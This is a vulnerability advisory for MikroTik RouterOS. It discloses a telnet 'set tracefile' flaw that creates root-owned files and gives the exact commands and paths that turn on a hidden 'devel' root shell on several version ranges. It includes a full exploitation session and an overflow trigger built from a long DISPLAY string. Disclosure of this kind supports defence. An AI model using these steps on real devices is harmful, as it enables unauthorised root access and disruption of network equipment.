Mikrotik RouterOS Telnet Arbitrary Root File Creation

Risk: High
Local: No
Remote: Yes

Mikrotik RouterOS telnet arbitrary root file creation 0day ========================================================== This weakness occurs "post-authentication" and can be used to escape the restricted shell on Mikrotik devices and escalate "readonly" privileges. Mikrotik contains a hidden "devel" login option which can be enabled through use of an "options" package. An exploitable arbitrary file creation weakness has been identified in Mikrotik RouterOS that can be leveraged by a malicious attacker to exploit all known versions of Mikrotik RouterOS. The RouterOS contains a telnet client based on GNU inetutils with modifications to remove shell subsystem. However an attacker can leverage the "set tracefile" option to write an arbitrary file into any "rw" area of the filesystem, escaping the restricted shell to gain access to a "ash" busybox shell on some versions. The file is created with root privilieges regardless of the RouterOS defined group. On versions 4.10 to 5.26 an attacker can enable the "devel" login to escape the restricted shell by creating the following file: "set tracefile /nova/etc/devel-login" On versions 6.0 to 6.40 the same can be achieved with the file: "set tracefile /flash/nova/etc/devel-login" This will allow access to a "ash" shell using the "devel" login which has the same password as the "admin" user. Advantages of using this method over known public methods is that it does not require reconfiguration of device via backup files or require a system reboot. On versions greater than 6.40 this issue can be exploited to overwrite files such as "user.db" from low-privileged user accounts to disrupt operation of the device. On versions above 6.40 this issue can only be leveraged to overwrite files as root due to changes in the "devel-login" now requiring creation of an "option" folder in a read only partition. An example of exploitation on impacted devices is shown below: [admin@MikroTik] > system telnet address: telnet> set tracefile /flash/nova/etc/devel-login tracefile set to "/flash/nova/etc/devel-login". telnet> quit Welcome back! [admin@MikroTik] > system telnet Trying Connected to Escape character is '^]'. MikroTik v6.40.9 (bugfix) Login: devel Password: BusyBox v1.00 (2018.08.20-07:26+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. # Errata: an additional advisory accompanying this one references multiple buffer overflow vulnerabilities in inetutils telnet clients. The Mikrotik telnet client is also susciptible to these weaknessses. A trigger for the overflow condition is shown below. telnet> environ define DISPLAY AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA telnet> open Trying Connected to Escape character is '^]'. telnet: buffer overflow, losing data, sorry telnet: ring.cc: 143: int ringbuf::flush(): Assertion `top-bot > 0 && top-bot <= count' failed. Welcome back! [admin@MikroTik] > -- Hacker Fantastic 11/12/2018 https://hacker.house

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